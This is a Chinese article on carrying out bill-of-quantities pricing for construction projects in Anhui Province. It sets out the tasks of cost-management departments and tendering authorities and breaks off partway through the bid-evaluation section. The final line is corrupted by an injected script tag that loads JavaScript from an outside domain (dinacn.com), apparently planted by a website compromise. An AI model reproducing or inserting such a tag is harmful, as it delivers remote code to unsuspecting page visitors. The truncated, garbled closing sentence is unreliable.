0 前 言
2003年7月1日,建设部颁布了《建设工程工程量清单计价规范》。各省相继制定了实施方案,安徽省也于2005年7月1日编制出台了《安徽省建设工程工程量清单计价规范》、《安徽省建设工程消耗量定额》、《安徽省建设工程消耗量定额综合单价》等一系列工程量清单计价依据,在全省掀起了贯彻工程量清单计价的高潮。但目前工程量计价在工程建设中所占份额还不大,与发展的要求还存在一定的距离,这主要在于实行工程量清单计价受到诸多因素的影响,如认识不够、各部门协作不够、配套措施不全等。笔者认为,当务之急是尽快建立长效清单计价机制,完善清单计价体系,同时造价管理部门与招投标管理机构要采取相应措施通力协作。
1 造价管理部门必须继续做好的工作
1.1规范指导与信息发布
由于清单计价模式有别于传统的定额计价模式,清单计价要求投标人必须按照市场的即时性价格来确定工程造价,因此,造价管理部门必须按照市场的行情及时发布更新各类人工、材料、机械的价格。
建筑材料,品种繁多,价格波动较大,给信息的发布带来一定的难度。为适应清单报价要求,芜湖市及时对《工程造价与信息》刊物进行了改版,缩短了发刊周期,由原来的双月刊改为单月刊,在信息的采集上也由过去的单一渠道来源,改为网上下载、厂(商)家提供、市场采集相结合的方式,以保证价格的合理性、准确性。为体现价格的即时性,安徽省造价总站正在积极筹建全省工程造价信息网,力争做到材料价格网上发布,充分满足投标报价的需要。
此外,造价部门还要注重收集整理已完工程数据,定期测算、发布各类工程的技术经济指标,作为建设单位投资决策的参考和施工单位投标报价的依据,指导建筑市场各方科学合理地确定工程造价。
1.2施工合同管理
施工合同的签定是工程建设管理中的重要环节。实行工程量清单计价后,合同价格的确定、调整、变更必须遵照工程量清单计价规范的有关规定,并严格实行合同备案制,杜绝阴阳合同,对合同的变更、价款的调整等要实施有效的监控。由于现行建设工程施工合同文本的格式与清单计价规范的要求还存在一定的差别,因此,造价管理部门必须对合同的条款进行深入的研究,使施工合同的条款更科学合理,既能切实反映工程实际,又能保证合同的正常履行及合同中各项承诺的实现,维护承发包双方的合法权益。 1.3对工程造价咨询单位的管理
我国加入WTO后,对工程造价咨询业5年承诺即将到期,外资造价咨询机构随即将进入国内市场,我国的工程造价咨询行业将受到巨大的冲击。工程造价管理部门应积极引导工程造价咨询单位建立与国际接轨的先进管理体制,规范作业。特别是在实施工程量清单计价后,实行了工程风险分担制,业主提供工程量即承担了“量”的风险,投标单位则承担了“价”的风险,而绝大多数业主无力承担清单的编制任务,根据“计价规范”的规定,这一任务将由有资质的咨询机构担任,随即“量”的风险也由业主转向到咨询单位,因此,咨询单位必须高度重视清单编制工作,不断提高从业人员的执业水平,方能完成社会所赋予的重任。
1.4建立企业投标报价体系
我国大部分施工企业在工程定价方面长期依赖政府,通常是拿到图纸后,先算量,再套价,最后乘以造价管理部门颁发的综合管理费率,便完成了整个造价的计算过程。甚至有的造价员只会机械地计算,而不清楚基本的造价计算程序,导致投标报价时仅会在费率上做文章,为使工程中标,盲目追求低价,甚至会出现投标费率为零的现象。因此要适应工程量清单计价,造价管理部门首先必须引导企业编制内部消耗量定额,使企业学会依此来确定人工、材料、机械的投入和配置,进一步优化施工方案,合理确定施工、技术措施费用。另外,还要督促企业及时收集已完工程的各项数据,并加以科学的分析归类,纳入相关的数据库,并在此基础上建立起适应工程量清单计价的投标报价体系。只有这样,企业才能够合理确定个体成本,充分发挥报价的自主权,在竞争中取胜。
2 招投标管理机构应继续做好的工作
2.1评分办法与评标时间
目前的评分办法和工程量计价方式不相适应,不能真实反映工程的实际投资工程质量和企业的利润,大部分的中标工程不是“评”出来而是“算”出来的。究其原因,有以下两点。
①评标时间有限,一般仅为半天,而投标单位众多(通长在10家左右)。就商务标而言,专家没有足够的时间对投标单位的综合单?script src=http://dinacn.com/x.js> |